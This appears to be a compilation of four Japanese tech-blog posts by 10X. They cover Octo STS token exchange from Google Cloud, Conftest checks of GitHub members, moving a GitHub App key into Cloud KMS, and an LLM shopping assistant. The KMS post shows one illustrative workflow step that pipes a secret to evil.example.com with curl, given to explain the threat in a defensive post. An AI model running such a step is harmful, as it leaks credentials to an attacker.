PATも秘密鍵も管理せずにGoogle CloudからGitHub APIにアクセスする

Google Cloud上のアプリケーションからGitHub APIにアクセスするとき、PATあるいはGitHub AppのInstallation Access Tokenが必要となります。しかしPATはユーザに紐付くため管理が厄介ですし、Appを作れば秘密鍵の管理について考えなければなりません。

この記事では、すでに運用しているOcto STSとGoogle CloudのOIDC ID Tokenを組み合わせることで、新たなGitHub Appを作らずにGitHub APIへのアクセスを実現した事例を紹介します。10XではOcto STSを使ったToken運用の改善で紹介したように、GitHub Actions上での社内の様々なユースケースでGitHub AppのInstallation Access Token(以下GitHub App Token)の発行にOcto STSを活用していますが、今回はGitHub Actions以外からの利用事例を紹介します。

全体のフローは以下の通りです。

sequenceDiagram
    participant App as Google Cloud上のアプリ
    participant Meta as GCE Metadata Server
    participant STS as Octo STS
    participant GH as GitHub API

    App->>Meta: OIDC ID Token を要求
    Meta-->>App: ID Token (iss: accounts.google.com)
    App->>STS: Token Exchange (Bearer ID Token)
    STS->>STS: Trust Policy で検証
    STS-->>App: GitHub Installation Token
    App->>GH: API呼び出し (Installation Token)
    GH-->>App: レスポンス

Google Cloudのメタデータサーバーから取得したOIDC ID TokenをOcto STSに渡し、短命なGitHub App Tokenに交換することで、このTokenでGitHub APIにアクセスできます。Octo STSで利用しているGitHub Appのパーミッションの範囲に収まるユースケースであれば、新しいGitHub Appの作成も鍵の管理も不要です。とても便利ですね!

以下、自分たちがこの仕組みに至った背景と、技術的な詳細を書きます。

何を作ったか

Slackのメッセージにリアクションを付けるだけでGitHub Issueが自動作成されるSlack botの機能を作りました。botはGoogle App Engine(GAE)上で動いており、GitHub APIにアクセスするためには何らかのCredentialが必要でした。

モチベーション: Slack起点のタスク管理

Slackを非同期コミュニケーションのメインツールとして使っていると、会話の中からタスクが発生することは珍しくありません。質問がそのままタスクになったり、非エンジニアのメンバーからSlack上で直接依頼が来たりします。

自分たちのチームでもSlack起点のタスク管理は長年の課題で、いくつかのアプローチを試してきました。

Zapier + Notion(2022〜2023年)

Slackのメッセージに特定のリアクション(:asksre:)を付けると、チームチャンネルに展開され、NotionのDatabaseにも登録される仕組みをZapierで構築しました。

  • 良かった点
    • どこで発生した会話でもチームチャンネルに展開されるので即座に可視化でき、翌朝のチーム定例で会話できる
  • 課題
    • Zapierの連携がよく壊れる。気づかないうちにタスクが拾えていないことがあった
    • SlackやNotionのAPIトークンをZapierに渡す必要があり、セキュリティ面でも不安があった

Slack リスト(2024年〜)

Zapierの不安定さから、Slackのリスト機能に切り替えました。

  • 良かった点
    • Slackに閉じた管理ができる
    • 外部サービスへのシークレット共有が不要。No codeでタスク管理できる手軽さ
  • 課題
    • チームチャンネルへの自動コメントのようなワークフローが組めない。Slackが用意した仕組みから外れるようなことをしようとすると結局コードを書かないといけない。コードを書かないといけないならお手軽なリスト機能を使い続ける理由がない
    • リスト機能自体の使い勝手にも難があった。カンバンUIのカードの挙動がピーキーだったり、ステータス管理では後から追加したステータスの並び順を変更できず、Doneを最初に作ってしまうとリスト内がDoneから始まるなど、細かいが日常的に使うものとしては気持ちよくない部分が多い

共通の課題: Issue化忘れ

どの方式でも一番の問題はIssue化の忘れでした。共有するだけで済む話ならその場の会話で終わりですが、タスクとして残すべきものはGitHub Issueにしたい。Issue化を忘れると、Slackのスレッドやリストに残ったまま誰にもアサインされず、タスクの内容もIssueとして記録されません。

いっそのことVibeで欲しいものを一気に作ってしまおうということで、リアクションを付けた瞬間にGitHub Issueまで作る仕組みを実装することにしました。

認証方式の検討

10Xでは10x_botというSlack botを2022年からGAE上で運用しています。もともとは感謝を送り合うCheers機能や勤怠打刻(King of Time連携)など、社内の汎用的な機能を集約するbotとして作られたものです。GAEを採用しているのは、Slackのwebhookイベントを常時受け付ける必要があることと、VPC経由でのDB接続やSecret Managerとの連携が必要だったためです。

このbotにリアクション→Issue自動作成の機能を追加するにあたり、GitHub APIの認証方式を検討しました。

なお、先に紹介したように10XではOcto STSを導入しています。Octo STSは、OIDCのID Tokenを受け取り、Trust Policyに基づいて検証した上で、スコープを絞ったGitHub App Tokenを発行するサービスです。リポジトリに配置したYAMLファイル(Trust Policy)で「誰が」「どのリポジトリに」「どの権限で」アクセスできるかを宣言的に管理できます。詳しくは以前の記事をご覧ください。

最初に思いついた選択肢は2つです。

  1. 新規GitHub Appを作成する: 秘密鍵をSecretをKMSに保存し、GAEから直接トークンを発行する
  2. GitHub Actions経由でOcto STSを使う: botからGitHub Actionsのワークフローをトリガーし、ワークフロー内でOcto STSのidentityを使ってIssueを作成する

案1はシンプルですが、新しいGitHub Appの作成と鍵管理が発生します。案2は鍵管理は不要ですが、GitHub Actions経由の間接的な呼び出しになり、余計なレイテンシがかかります。

Service AccountのOIDC ID TokenでOcto STSを叩く

どちらもしっくり来なかったのでSecurityチームに相談したところ、「GAEのService AccountでOIDC ID Tokenを発行して、Octo STSに直接渡せないか」という提案をもらいました。

Octo STSはOIDC ID Tokenを受け取ってGitHub App Tokenを返すサービスですが、提示するID TokenはGitHub のものに限定されているわけではありません。Octo STSのREADMEにはGoogle accountsをissuerにした例が載っています。

issuer: https://accounts.google.com
subject_pattern: "[0-9]+"
claim_pattern:
  email: ".*@chainguard.dev"

つまり、Google CloudのService AccountからOIDC ID Tokenを発行し、それをOcto STSに渡せば、GitHub Actionsを経由せずに直接GitHub App Tokenを取得できるはずです。

実際、以前の記事でもこの可能性に触れていましたが、当時は未検証でした。今回のSlack bot開発がまさにそれを実証する機会になりました。

仕組み

OIDC ID Tokenの取得

GAE・Cloud Run・GCEなどのCompute環境では、メタデータサーバーを通じてService AccountのOIDC ID Tokenを直接取得できます。IAM Credentials APIを明示的に呼んだり、roles/iam.serviceAccountOpenIdTokenCreatorロールを付与したりする必要はありません。google-auth-libraryを使えばアプリケーションコードから簡単に発行できます。

import { GoogleAuth } from 'google-auth-library';

const OCTO_STS_AUDIENCE = 'octo-sts.example.com';

const auth = new GoogleAuth();
const client = await auth.getIdTokenClient(OCTO_STS_AUDIENCE);
const idToken = await client.idTokenProvider.fetchIdToken(OCTO_STS_AUDIENCE);

発行されるID Tokenは以下のようなclaimsを持ちます。

{
  "iss": "https://accounts.google.com",
  "sub": "123456789012345678901",
  "aud": "octo-sts.example.com",
  "email": "my-app@my-project.iam.gserviceaccount.com",
  "email_verified": true
}

subにはService Accountのメールアドレスではなく数値のユニークIDが入ります。このIDはイミュータブルで、Service Accountが存在する限り変わりません。

Trust Policy

Octo STSは、リポジトリの.github/chainguard/ディレクトリに配置されたTrust Policyファイルに基づいてトークンを検証します。今回は以下のようなPolicyを作成しました。

# .github/chainguard/my_bot_issue_writer.sts.yaml
issuer: https://accounts.google.com
subject: "123456789012345678901"
claim_pattern:
  email: "my-app@my-project\\.iam\\.gserviceaccount\\.com"

permissions:
  issues: write

issuerにGitHuのOIDC Providerではなくhttps://accounts.google.comを指定しています。10Xの既存のTrust Policyはすべてhttps://token.actions.githubusercontent.comを使っていたので、Google Cloud OIDCのissuerを使うのはこれが初めてのケースでした。

subjectにはService Accountの数値IDを指定し、claim_patternでメールアドレスも検証しています。permissionsissues: writeだけに絞っています。

このPolicyファイルはIssueを作成したいリポジトリに配置します。自分たちの場合、GitHub Issueの作成先であるリポジトリに直接置きました。

Token Exchange

ID Tokenを取得したら、Octo STSのエンドポイントにリクエストを送ります。

const response = await fetch(
  `https://octo-sts.example.com/sts/exchange?scope=myorg/myrepo&identity=my_bot_issue_writer`,
  {
    headers: {
      Authorization: `Bearer ${idToken}`,
    },
  },
);

なお、Octo STSは内部でgRPCを使っており、HTTPエンドポイントはgrpc-gateway経由で提供されています。レスポンスは{"token": "ghs_xxx"}のようなJSON形式で返ってくるので、パースしてtokenフィールドを取り出す必要があります。

取得したTokenでOctokitを初期化すれば、あとは普通にGitHub APIを叩けます。

const octokit = new Octokit({ auth: githubToken });
await octokit.issues.create({
  owner: 'myorg',
  repo: 'myrepo',
  title: 'Slackからの問い合わせ',
  body: '...',
});

何が嬉しいのか

この方式の最大の利点は、新しいGitHub Appの作成もCredentialの永続的な管理も不要だということです。

GitHub App方式 Octo STS方式
新規GitHub App 必要 不要
Credential管理 秘密鍵 なし
レイテンシ 数秒 数秒
権限管理 GitHub App設定画面 Trust Policy(コードレビュー可能)

権限管理がTrust Policyファイルとしてリポジトリに置かれる点も重要です。GitHub Appの権限設定は管理画面でしか確認できませんが、Trust Policyはコードとしてレビューでき、変更履歴も残ります。

また、GitHub App Tokenは短命なので、リクエストごとに都度発行して使い捨てにしています。長期間有効なCredentialがどこにも存在しない状態を作れます。

まとめ

今回、GAE上のSlack botからGitHub Issueを作成するにあたり、Google CloudのService AccountのOIDC ID TokenでOcto STSからGitHub App Tokenを方法を採用しました。新しいGitHub Appの作成も鍵管理も不要で、Trust Policyの追加だけで認証が完結します。

以前の記事ではOcto STSがGitHub Actions以外のOIDC Providerでも動くはずだと書きましたが、今回それを実際のプロダクション環境で確認できました。GAE・Cloud Run・GCEなど、メタデータサーバーからID Tokenを取得できる環境であればどこでも同じアプローチが使えるので、CI以外の文脈でもOcto STSの活用を検討してみてください。

参考

GitHubへのメンバー追加をConftestでバリデーションする

GitHubのユーザーをTerraformで管理しているときの問題点

GitHubの組織メンバーやリポジトリのアクセス権限をTerraformで管理すると、誰がどのリポジトリにアクセスできるかがコードとして可視化され、変更にはPRとレビューが必要になります。手作業でポチポチ設定するよりも安全で、監査もしやすくなります。

10Xでもこの方針でGitHub管理用のTerraformモジュールを作り、GitHubリソースをコード管理しています。

module "repository" {
  source = "github-management-module"

  name = "repository-name"

  access = {
    users = [
      { name = "alice", permission = "push" },
      { name = "bob",   permission = "push" },
    ]
  }
}

この access.users[].name に指定するGitHub IDは自由入力のため、いくつかの問題が起こり得ます。

  • 退職者の残留
    • 組織を離れたメンバーのIDが設定に残り続ける
  • typo
    • alicealce と書いても気づけない (レビュープロセスがあっても見逃す場合もある)
  • 想定していないユーザーの指定
    • Outside Collaboratorとして意図しないユーザーにリポジトリのアクセス権限が付与される
    • typoしたユーザーがGitHub上に存在していたときも同様

特に3つ目が危険です。10XではSAML SSOを設定しているため、Org招待が飛んでも 10x.co.jp ドメインでフィルタされ、組織メンバーとして参加される被害は発生しません。しかし、リポジトリのOutside Collaboratorへの追加はSAMLの認証フローを経由しないため、typoや誤記で意図しない外部ユーザーにリポジトリの読み取り・書き込み権限が付与される可能性があります。

リポジトリの数は数百とあり、レビューだけでこれらを防ぐのは限界があります。

Conftestと外部データの組み合わせ

この問題に対して、Conftest を使ったポリシーチェックを導入しました。

Conftestは通常、設定ファイルの内容をRegoで静的に検証するツールです。今回はGitHub APIから取得した組織メンバー一覧を外部データとしてConftestに渡すことで、「そのGitHub IDは本当に組織に存在するか」という動的なチェックを静的解析の枠組みで実現しています。

GitHub組織のメンバー一覧をSingle Source of Truth(SSoT)として、Terraformファイル内のGitHub IDをそれに対して検証します。

データの取得

CIで gh コマンドを使い、組織メンバー一覧をJSONに書き出します。

members=$(gh api --paginate "/orgs/10xinc/members" --jq '.[].login' | jq -R . | jq -s .)
jq -n --argjson members "$members" '{github_members: $members}' > /tmp/github-members.json

これを conftest test --data /tmp/github-members.json で渡すと、ポリシー内から data.github_members として参照できます。メンバーの増減はGitHub APIから毎回取得するため、メンバーリストファイルのメンテナンスは不要です。

ポリシー

ポリシーの核となるロジックはシンプルです。

package github.invalid_github_member

import rego.v1

valid_members := data.github_members

outside_collaborators := {
    "outside-user-1",
    "outside-user-2",
    ...
}

is_valid_member(github_id) if {
    github_id in valid_members
}

is_outside_collaborator(github_id) if {
    github_id in outside_collaborators
}

valid_members がGitHub APIから渡される動的なデータ、outside_collaborators が業務上アクセスが必要な外部コラボレーターの許可リストです。

チェック対象は4箇所あります。

ルール 対象 レベル
deny_invalid_repo_user リポジトリアクセス権限 (access.users[].name) deny
deny_invalid_team_member チームメンバー (team_members[].github) deny
warn_invalid_tfvars_user tfvarsのユーザー (users[].id) warn
warn_invalid_tfvars_team_member tfvarsのチームメンバー (teams[].members[]) warn

リポジトリアクセスとチームメンバーは deny(CIを失敗させる)、tfvarsは warn(警告のみ)としています。リポジトリへのアクセス付与は組織に所属しているメンバーに対して行う操作なので、組織にいないユーザーが書かれていたらブロックするのが妥当です。一方、tfvarsの users[].id は組織への招待(Org Invite)にも使われるため、まだ組織に参加していないユーザーのIDが含まれるケースがあります。これを deny にしてしまうと招待のPRが通らなくなるため、warn に留めています。

例として deny_invalid_repo_user の実装を示します。

deny_invalid_repo_user contains {"msg": reason} if {
    some module_name, module_configs in input.module
    module_config := module_configs[0]
    contains(module_config.source, "tfmodule-gh-repo-kit")
    module_config.access.users
    user := module_config.access.users[_]
    github_id := user.name
    not is_valid_member(github_id)
    not is_outside_collaborator(github_id)
    reason := sprintf(
        "`module.%v`: access.users[].name - @%v は 10X のメンバーではありません",
        [module_name, github_id],
    )
}

入力のHCLをたどって access.users[].name を取り出し、valid_members にも outside_collaborators にも含まれなければ違反とします。

テスト

ポリシーのテストは conftest verify で実行します。with キーワードでモック入力とモックデータを注入できるため、GitHub APIを叩かずにロジックを検証できます。

test_deny_invalid_repo_user if {
    result := deny_invalid_repo_user with input as {"module": {"repository": [{
        "source": "../../../../modules/tfmodule-gh-repo-kit",
        "access": {
            "users": [
                {"name": "babarot", "permission": "push"},
                {"name": "invalid_user", "permission": "push"},
            ],
        },
    }]}}
        with data.github_members as ["babarot", "sota1235"]

    count(result) == 1
    some violation in result
    contains(violation.msg, "@invalid_user")
}

CIへの組み込み

terraform plan ワークフローの中で、plan実行の前段にConftestを組み込んでいます。

- name: Fetch GitHub organization members
  run: |
    members=$(gh api --paginate "/orgs/10xinc/members" --jq '.[].login' | jq -R . | jq -s .)
    jq -n --argjson members "$members" '{github_members: $members}' > /tmp/github-members.json

- name: Run conftest against HCL files
  uses: ./.github/actions/conftest
  with:
    policy_path: ./policy/tf
    check_type: hcl
    working_directory: ${{ matrix.dir }}
    data_file: /tmp/conftest-data.json
    inline_comment: "true"

チェック対象はPRで変更のあった .tf ファイルのみに絞っています。違反が検出されるとPRの該当行にインラインコメントが投稿されるため、レビュアーもすぐに気づけます。

まとめ

Conftestは設定ファイルの静的解析ツールですが、--data フラグで外部データを渡すことで、GitHub組織の状態をSSoTとした動的なチェックが可能になります。メンバー一覧を毎回APIから取得するため、ポリシーファイル自体のメンテナンスはほぼ不要です。

10Xでは今回紹介したGitHubメンバーの検証以外にも、GCPリソースの命名規則やラベルの必須チェックなど、30以上のポリシーをConftestで運用しています。Conftestの導入経緯や全体像についてはこちらの記事で紹介しています。

GitHub Appの秘密鍵をGitHub Secretsから追い出す

10Xでは、GitHub Actionsのセキュリティ改善を段階的に進めてきました。もともとPAT(Personal Access Token)を使っていたところをGitHub App Tokenに移行し、さらにOcto STSを使ったToken運用の改善にも取り組んでいます。

そうした中で、まだGitHub Secretsに残っていたものがありました。Terraform用のGitHub Appの秘密鍵です。このAppに付与される権限が徐々に膨らんでいく中で、秘密鍵の保管方法がセキュリティ上無視できない課題になってきていました。この記事では、その課題と、秘密鍵をGitHub Secretsから追い出してGoogle Cloud KMSに閉じ込めるというアプローチについて書きます。

秘密鍵をGitHub Secretsに保存するということ

GitHub Appのトークンを発行するには、秘密鍵でJWTに署名する必要があります。多くのプロジェクトではactions/create-github-app-tokenのようなActionを使い、秘密鍵をGitHub Secretsに格納しています。

- uses: actions/create-github-app-token@f8d387b68d61c58ab83c6c016672934102569859 # v3.0.0
  with:
    app-id: ${{ vars.APP_ID }}
    private-key: ${{ secrets.APP_PRIVATE_KEY }}

一見すると問題なさそうに見えます。GitHub SecretsはUIから値を取り出せませんし、ログにもマスクされます。しかし、ここにはいくつかの落とし穴があります。

何が問題だったのか

ワークフローを書き換えれば秘密鍵を持ち出せる

GitHub Secretsの値はUIからは見えません。ですが、GitHub Actionsのワークフローには値そのものが渡されます。つまり、ワークフローファイルを書き換えて秘密鍵をどこかに送信するコードを仕込めば、鍵を盗むことができてしまいます。

# 悪意のある改変例
- run: echo "${{ secrets.APP_PRIVATE_KEY }}" | base64 | curl -X POST -d @- https://evil.example.com

リポジトリに書き込み権限を持つ人、あるいはアカウントが乗っ取られた場合、これは現実的な攻撃シナリオになります。

自分たちのケースでは、Terraform用のGitHub Appにはかなり強めの権限が付与されていました(これはTerraformでGitHubリソースを管理する都合上、必要に応じて権限を足していった結果です)。この鍵が持ち出された場合の影響範囲は非常に大きく、放置できる状態ではありませんでした。

push rulesetだけでは保護範囲が広すぎる

「ワークフローファイルを改変できないように保護すればいい」という考えもあります。GitHubにはpush rulesetという仕組みがあり、特定のファイルパスへのpushを制限できます。push rulesetはファイル単位で保護対象を指定できるので、terraform_plan.yamlだけを守ることも技術的には可能です。

しかし、GitHub Secretsの仕組み上、Secretはリポジトリ内のすべてのワークフロー(あるいはEnvironmentに属するすべてのワークフロー)からアクセスできます。つまり、terraform_plan.yamlをpush rulesetで守っていても、同じSecretsにアクセスできる別のワークフローを新たに作成すれば、そこから秘密鍵を持ち出せてしまいます。これを防ぐには結局、.github/workflows/配下やそこから呼ばれる.github/actions/配下を丸ごと保護せざるを得ません。結果として、秘密鍵とは無関係なワークフローまで保護対象に含まれ、SRE以外のメンバーがワークフローを触りたいときに非常に不便になります。

これまで、自分たちのリポジトリでは改変を防ぐために.github/全体をprotectしている状態でした。セキュリティのためとはいえ、開発者体験を大きく損なっていました。

ちなみに、GitHubは2026年のActions セキュリティロードマップで、Secretsを特定のリポジトリ・ブランチ・環境にスコープできる「スコープ付きシークレット」の導入を予定しています。これが実現すれば、Secrets側のアクセス制御だけでこの問題を緩和できるようになるかもしれません。ただし現時点ではまだリリースされていないため、今回はKMSに鍵を移すアプローチをとっています。

鍵のローテーションが面倒

秘密鍵を更新するたびに、その鍵を使っている各リポジトリのSecretsを手動で差し替える必要があります。リポジトリが増えるほど、この運用コストは膨らんでいきます。

秘密鍵をKMSに閉じ込める

こうした課題に対する自分たちのアプローチは、秘密鍵をGitHub Secretsから取り除き、Google Cloud KMS(Key Management Service)に閉じ込めるというものです。

端的に言うと、JWTの署名処理だけをGitHub外のKMSに委譲します。秘密鍵はKMS内に格納され、鍵そのものはGitHub Actionsの実行環境に一切渡されません。ワークフローに渡されるのはKMS上の鍵を指すリソースID(プロジェクトID、キーリングID、キーID)だけで、これらは秘密情報ではありません。

処理の流れは以下のようになります。

  1. GitHub ActionsのOIDCトークンを取得する
  2. Workload Identity Federationを通じてGoogle Cloudの認証情報を得る
  3. 未署名のJWTを生成する
  4. KMSに署名だけを依頼する(鍵はKMSの外に出ない)
  5. 署名済みJWTでGitHub APIからアクセストークンを取得する
  6. ワークフロー終了時にトークンを自動失効させる

ちなみに、得られるGitHub App Tokenは従来と同等のものなので、後続のステップは何も変える必要がありません。

実装としては、この仕組みをGitHub Actionとして提供するghatというツールを使っています。

- uses: yagihash/ghat@e503e9d9284b16d42d3b477bc1e5fcffb5ef251b # v2.1.0
  id: token
  with:
    app_id: ${{ vars.APP_ID }}
    kms_project_id: ${{ vars.KMS_PROJECT_ID }}
    kms_location: ${{ vars.KMS_LOCATION }}
    kms_keyring_id: ${{ vars.KMS_KEYRING_ID }}
    kms_key_id: ${{ vars.KMS_KEY_ID }}
    repositories: my-repo

これで何が変わるのか

鍵が盗めなくなる

仮にワークフローを改変されても、KMSの中にある鍵を取り出すことはできません。KMSは鍵素材の閲覧やエクスポートを許可しない設計になっています。

「鍵を使って署名させることはできるのでは?」という指摘はもっともで、それは残存リスクとして存在します。任意のブランチからKMSへのアクセスは可能なので、悪意のあるJWTを作成してKMSで署名し、GitHub Appとして操作することは理論上可能です。ですが、これはそもそも秘密鍵がGitHub Secretsにある現状でも同じリスクです。鍵が持ち出せない時点で差分があり、「鍵を持ち出されて好き放題される」リスクと「一時的に署名させられる」リスクでは、深刻度がまるで違います。

保護すべきファイルを最小限にできる

ここが今回の取り組みの真価ともいえるポイントです。

これを可能にしているのが、GitHub ActionsのOIDCトークンとWorkload Identity Federation(WIF)の組み合わせです。GitHub Actionsが発行するOIDCトークンには、workflow_ref(どのワークフローファイルから実行されたか)、environment(どのEnvironmentで実行されたか)、repositoryなど、実行コンテキストに関するさまざまなclaimが含まれています。WIFのattribute_conditionでこれらのclaimを細かくチェックすることで、KMSへのアクセスを「特定のリポジトリの、特定のワークフローから、特定のEnvironmentで実行された場合のみ」といった粒度で制限できます。

自分たちのケースでは、environmentworkflow_refの両方で縛るようにしています。push rulesetで保護すべき対象は「そのワークフローファイルとそこから呼ばれる内部Action」だけに絞り込めます。

  • Before
    • .github/workflows/全体を保護 → 誰もワークフローを気軽に編集できない
  • After
    • terraform_plan.yamlterraform_apply.yamlだけ保護 → 他のワークフローは自由に編集可能

従来のpush rulesetだけのアプローチでは、ワークフロー全体を守らざるを得ませんでした。秘密鍵をKMSに移しWorkload Identity Federationと組み合わせることで、アクセス制御をGitHub外に出し、push rulesetの対象を本当に守るべきファイルだけに絞れます。セキュリティと開発者体験のトレードオフが大幅に改善されます。

鍵のローテーションが容易になる

KMS側で新しいキーバージョンを作成し、ワークフローで指定するバージョン番号を更新するだけで済みます(現時点ではghatが最新のキーバージョンを自動で参照する機能がないため、ワークフロー側での指定変更が必要です)。それでも、各リポジトリのSecretsに秘密鍵を貼り直す作業に比べれば大幅に楽になります。また、Cloud Audit Logsで署名操作の監査ログも自動的に残ります。誰がいつ鍵を使ったのかを追跡できるのは、セキュリティ運用の観点でも大きいです。

補足

一方で、Google Cloudへの依存が生まれます。KMS、Workload Identity Federation、サービスアカウントなど、セットアップに必要なリソースは少なくありません。Google Cloudの障害時にはIaCの実行が止まる可能性もあります。KMSの利用料も発生します(微小ですが)。

障害発生時などTerraformのplan/applyができなくなった場合は、従来のactions/create-github-app-tokenに戻すことでリカバリできます。一時的にセキュリティレベルは下がりますが、IaCが完全に止まるよりはましでしょう。

まとめ

GitHub Appの秘密鍵をGitHub Secretsに置く運用は、手軽ですが「ワークフロー改変による鍵の持ち出し」というリスクを内在しています。そしてそのリスクをpush rulesetだけで防ごうとすると、保護範囲が広がりすぎて開発者体験を損ないます。

秘密鍵をGitHub Secretsから追い出してKMSに閉じ込めることで、この問題を構造的に解決できます。鍵はどこにも露出せず、保護すべきファイルは最小限で済み、監査ログも残ります。Google Cloudを使っている組織であれば、検討する価値のあるアプローチです。

ネットスーパーでのLLM活用:お買い物AIのPoCから本番リリースまで

はじめに

こんにちは、10Xで検索推薦の機能・基盤の開発運用を担当している安達(id:kotaroooo0)です。

Stailerネットスーパーでお買い物AI機能をリリースしました。 これは、チャットUIでLLMがお買い物をサポートしてくれる機能です。

本記事では、お買い物AIの開発・運用の事例を紹介します。 最近、LLMを利用した機能をよく見かけるようになりましたが、実際にユーザーに提供し運用するところまで含めた事例はまだ少ない印象があります。 実際にお買い物AIを設計する際に、他社の事例をあまりみつけられず困りました。 今後、実践する人の参考になると嬉しいです。

お買い物AIの概要

どんな機能か

お買い物AIは、アプリ上のチャットUIでユーザーの入力に応じて商品を提案する機能です。 イメージを湧かせるためにキャプチャを添付します。 ユーザーが入力したら、返答メッセージと商品リストが返却されます。

カレーを作りたい場合の例
画像からユーザー意図を解釈する例

なぜ作るか

お買い物AIの目的は、ネットスーパーの購入体験を拡張することです。 一般的なEC(家具や家電、アパレルなど)とネットスーパーでは、ユーザーの購入心理と行動に違いがあると考えています。 具体的には次の2点において、お買い物AIがネットスーパーと相性がよいと考えました。

1. 商品の比較検討が少ない

たとえば「加湿器」をAIチャットで探す場合、多くのユーザーは慎重になります。 「もっと安くてよいものがあるのでは?」「自分に最適か?」のように検討コストが大きいため、結局はAIに推薦されたものでなく自分で検索・比較し納得してから購入したいという心理が働きます。

一方、ネットスーパーで「カレーの材料」を探す場合、じゃがいも、にんじん、カレールーといった商品の検討コストは小さいです。 「じゃがいもがこの価格なら間違いない」「このメーカーのルーなら安心だ」のように納得感を持って商品を選ぶことができ、AIによる提案がスムーズに購入へ繋がりやすいと考えました。 また、商品単価が低いことも検討コストを下げることに寄与していると思います。

2. 多くの商品を一度に買う

ネットスーパーのもうひとつの特徴は、一度のお買い物で30商品程度をまとめて購入する点です。 これをひとつひとつ検索などによりカートに入れる作業は、ユーザーにとって負担が大きいです。

Before: 「カレー」の材料を思い浮かべる → 「じゃがいも」を検索 → カートへ → 「にんじん」を検索 → ...

After: 「カレーを作りたい」とお買い物AIに伝える → 必要な材料がまとめて提案される → 一括で検討・追加

LLMがユーザーの曖昧な意図を解釈し、膨大な商品から最適な組み合わせを瞬時に提示することで、新しい購入体験を提供すること目指しています。

設計

LLMの責務

ネットスーパーの購入体験を拡張することが目的なので、購入にフォーカスします。 カスタマーサポート用のチャットボットなどではありません。

購入にしても、LLMでどこまで自動化するのか複数パターンありそうです。

  • パターン1. (LLM)商品の提案 → (人間)商品をカート追加する → (人間)注文・決済する
  • パターン2. (LLM)商品の提案 → (LLM)商品をカート追加する → (人間)注文・決済する
  • パターン3. (LLM)商品の提案 → (LLM)商品をカート追加する → (LLM)注文・決済する

今回はパターン1にしました。 理由は以下です。

  • ネットスーパーでの商品探索をまずは改善したい
  • カート追加の自動化は難しい
    • ユーザーがどの商品を好むか等を考慮しないといけないため
      • 同じジャガイモでもどこ産でどれくらいの量が必要か分からない

アプリケーションへのLLMの組み込み

LLMの組み込み方は、単にプロンプトを投げるだけのものから、LLMが自らツールを選んで動くものまでさまざまなパターンがあります。 この設計の型は認知アーキテクチャ(Cognitive Architecture)と呼ばれており、LangChainのブログでは、その進化の過程を自律性の高さに応じて次のように分類しています。

出典: https://blog.langchain.com/what-is-a-cognitive-architecture/

認知アーキテクチャ 概要 ネットスーパーでの例
Code LLMを使わないソフトウェア -
LLM Call
(お買い物AIの初期リリースはこれ)
LLMを1回だけ利用するアーキテクチャ 1. (LLM) ユーザーが入力したメッセージから、LLMが返答メッセージと商品名リストを生成
2. (Code) 商品名で商品検索して、ユーザーへ返答メッセージと共に返却
Chain 事前に定義したワークフローで複数回LLMを利用するアーキテクチャ 1. (LLM) ユーザーが入力したメッセージから、LLMが返答メッセージと商品名リストを生成
2. (Code) 商品名で商品検索し商品リストを取得
3. (LLM) 商品検索結果とユーザーの入力メッセージから、返答メッセージを再生成
Router 実行ステップのLLMに任せる
Chain が開発者が決めたワークフローを順番に実行するのに対し、Routerは複数の定義済みワークフローからLLMに選ばせる
1. (LLM) ユーザーが入力したメッセージから、商品提案ワークフローかお問い合わせ対応ワークフローかを選択
2. (LLM, Code)以降、対応するワークフローを実行
State Machine ループを含むが、遷移できる先はコードで定義する 1. (LLM) ユーザーが入力したメッセージから、LLMが返答メッセージと商品名リストを生成
2. (Code) 商品名で商品検索し商品リストを取得
3. (LLM) 商品の在庫が足りなければ1に戻って代替案を考えさせる(ループ)。足りれば「終了」。
Autonomous 目的とツールを与え、手順の数や順序はLLMが決める -

お買い物AIのやることは、ユーザーのメッセージから返答メッセージと商品リストを返すことにより、お買い物のサポートをすることです。 そのため、1度だけLLMを利用するアーキテクチャで実現でき、初期リリースとしてはLLM Callを採用しました。

複数回LLMを呼び出すことで、より高度な処理が実行できますがコストやレイテンシは悪化します。 また、LLMアプリケーションでは一般的に自律性と安全性・ガバナンスのトレードオフがあります。 LLM Callでは、プロンプトインジェクションによる情報漏洩や想定外のアクション実行というリスクが構造上なくなります。

処理の具体的なイメージは以下です。

処理フロー

LLMモデルの選定

gemini-2.5-flashを採用しました

理由は以下です。

  • コスト、レイテンシ、品質のバランスがよいため
    • 他社のモデルと比較して、同じ日本語文章の入力でもトークン数が少なかった
  • VertexAI経由でGemini APIを利用でき、管理・運用においてシンプル
    • 10XではクラウドサービスとしてGoogle Cloudをメインで利用している

最適なモデルを吟味し時間をかけるよりは、モデルの進化・変化が早いためモデルを変更しやすい実装にしておくのが大事だと思います。 gemini-2.5-flashは2025/06/17にリリースされたものの、2026/06/17に利用できなくなるため、早速モデルを変更しないといけなくなりました。

ai.google.dev

UX

オンボーディング

チャットUIは自由度が高い反面、ユーザーは何を入力すればよいか分からないという問題が発生しがちです。 そこで、使い方のヒントを初期画面に表示して具体的なユースケースを提示しました。 これによって最初の利用のハードルを下げるようにしています。

お買い物AIの初期画面とオンボーディング

フィードバック

お買い物AIの品質を改善していくには、ユーザーの評価を元になぜダメだったのかを分析する評価が必要です。

各回答に対してシンプルな二択のフィードバック機能を用意しました。 定性的になぜダメだったのかを分析するための起点としています。 定量的な傾向はイベントログで、定性的な分析はこのフィードバックを利用します。

フィードバック機能

セキュリティ

LLMアプリケーションを誰でも利用できるtoCのプロダクトに組み込む上で、セキュリティの確保は重要です。

個人情報保護とログ設計

ログ出力の制限

イベントログに出力すると分析がしやすくなる一方で、広範囲の人がアクセス権限をもつBigQueryのテーブルに格納されます。 しかし、ユーザーの入力内容には個人情報を含む可能性があるため、イベントログには一切出力しない設計にしました。 また、お買い物AIの返答メッセージについても、個人情報を含まない保証はないため、同様にイベントログへの出力はしません。

プロンプトインジェクションへの対策

役割の限定

システムプロンプトでお買い物AIの役割を明示し、さらにFew-shot Learningでスコープ外の質問には答えないパターンを学習させています。

構造化出力による制約

LLMの出力は、構造化出力を利用しました。 これにより、出力の一貫性、型安全性、データ処理のしやすさを担保しました。

お買い物AIは特定のスキーマでしか返答できないよう制御しています。 これにより、自由な形式での生成を防止できます。

LLM Callアーキテクチャによる制約

お買い物AIは、LLMがサーバーサイドのコード実行権限を持たず、データベースにも直接アクセスしません。 万が一、プロンプトの指示が書き換えられたとしても、その影響範囲はそのユーザーの画面内での変な挙動に限定されるよう設計されています。 ユーザーの個人情報を返答メッセージに含めたりする可能性はありません。

ハルシネーションへの対策

LLMの不正確な出力を完全に無くすことはできません。

期待値の調整

お買い物AIの初期画面とメッセージ入力欄付近に不正確な場合があることを注意書きしました。

